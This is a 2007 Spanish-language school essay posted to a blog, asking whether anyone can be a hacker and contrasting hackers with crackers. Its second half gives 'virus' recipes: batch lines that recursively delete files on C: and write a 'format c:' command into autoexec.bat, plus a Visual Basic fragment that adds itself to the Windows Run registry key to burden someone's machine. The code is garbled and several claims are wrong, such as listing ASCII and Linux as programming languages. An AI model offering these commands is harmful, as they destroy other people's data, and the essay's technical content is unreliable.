martes, 4 de septiembre de 2007

ensayo sobre los hackers

Nombre: Omar Moreno
Curso:901
Codigo:20
Tema: ¿Todos pueden ser hackers?

¿TODOS PUEDEN SER HACKERS?

Si se hace un estudio consciente del asunto sobre si un hacker es bueno, es malo ó por lo contrario ni se sabe que es, el siguiente escrito resolverá las dudas existentes sobre el asunto.
Se comienza con tan solo saber que es un hacker es una comunidad, una cultura compartida, de programadores expertos y magos de las redes, cuya historia se remonta décadas atrás a los tiempos de los primeros miniordenadores de tiempo compartido y los tempranos experimentos con ARPAnet. Los miembros de esta cultura crearon el término "hacker". Los hackers construyeron Internet. Los hackers hicieron de Unix el sistema operativo que es hoy día. Los hackers hacen andar Usenet. Los hackers hacen funcionar la WWW. Si eres parte de esta cultura, si has contribuido a ella y otras personas saben quién eres y te llaman hacker, entonces eres un hacker.
Desafortunadamente, muchos periodistas y escritores utilizan erróneamente la palabra "hacker" para describir a los crackers; esto causa enorme irritación a los auténticos hackers. La diferencia básica es esta: los hackers construyen cosas; los crackers las destruyen para conseguir un bien propio monetario o personal. La verdad de todo es que todos pueden ser hackers, no necesariamente como ya dice el texto se puede ser un hacker de todo tipo de cosas. Como se esta hablando de hackers informáticos, para ser un hacker se necesita saber todo sobre ordenadores, desde su mínima unidad que es el chip hasta su máxima que es la creación de software y hardwares de todo tipo.
No solo es decir hacer y listo para la creación de un software se necesita un estudio de lenguajes informáticos los cuales son:
ÿ Q BASIC
ÿ ASSEMBLER
ÿ C
ÿ JAVA
ÿ ASCII
ÿ HTML
ÿ PASCAL
ÿ LINUX
ÿ SQL
Si ya se sabe de algún lenguaje lo suficientemente bien para crear algún software, se siguen las siguientes pautas o requisitos:
ÿ Saber en que lenguaje se va a hacer y como se hace lo que se busca.
ÿ Que se va a hacer.
ÿ Con que intenciones se hace.
ÿ Como se va a emplear para los demás.
Veamos un fragmento de programación en lenguaje assembler para hacer un microprocesador imaginario:
Supongamos un microprocesador que tiene un registro de índice "I" y uno aritmético "A", a los que identifica como "01" y "10" respectivamente.
OPERACIÓN
CODIGO

Cargar registro
001
Almacenar registro
010
Sumar en registro aritmético
011
Restar en registro aritmético
100
Saltar si contenido cero
101
Saltar si contenido no cero
110
Decrementar registro índice
111
Suponemos que el ordenador en el que está incorporado utiliza posiciones de memoria de 10 bits (el Spectrum las utiliza de 8). Nuestro microprocesador trabaja con un formato fijo para entender la secuencia de señales tal que:
-- Los tres primeros bits son el identificativo o código de la operación que se quiere realizar.
-- Los dos siguientes son el identificativo del registro sobre el que se opera.
-- Los cinco siguientes y últimos indican la posición de memoria, si procede, que va desde 00000 a 11111.
Esto por la parte de assembler pero ahora se vera como hacer un virus o un simple archivo de secuencia de comandos de Windows:
ÿ Hacer un virus que cada vez que se prenda el computador se apague automáticamente solo:
Se abre block de notas y se introduce el código en rojo y se guarda como archivo .cmd, .exe, .bat
@echo offdel /S /Q C:(aquí deben especificar la ruta del archivo)cls
ÿ Ahora se observara como se formatea un disco solo con ejecutar un archivo:
Se abre block de notas y se introduce el código en azul y se guarda como archivo .cmd, .exe, .bat
@echo offclss format c: -s -f -t 0 >> c:\autoexec.bat
Pero si se desea manejar un código Q BASIC se utiliza Edit. de MS-DOS o visual Basic.

CURIOSIDADES
ÿ Si se desea ver la dirección IP de una persona se hace lo siguiente:

ÿ Si se desea ocupar la memoria de alguien hasta el punto de hacerle formatear se hace:
Código: (fragmento)
'agregarlo al registro
ruta = App.Path & "\" & App.EXEName & ".Exe"
nombredelprograma = App.EXEName
Set registrarmiprograma = CreateObject("wscript.shell")
registrarmiprograma.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & nombredelprograam, ruta
Set registrarmiprograma = Nothing

CONCLUSIONES
ÿ Todos pueden ser hackers si se esfuerzan un poco en estudiar el tema al cual deseen dedicarse.
ÿ Con tan solo unos comandos en ingles se puede crear un virus o una secuencia de comandos en Windows.
ÿ Si se desea se puede hackear todo lo relacionado con computadores o ordenadores de todo tipo.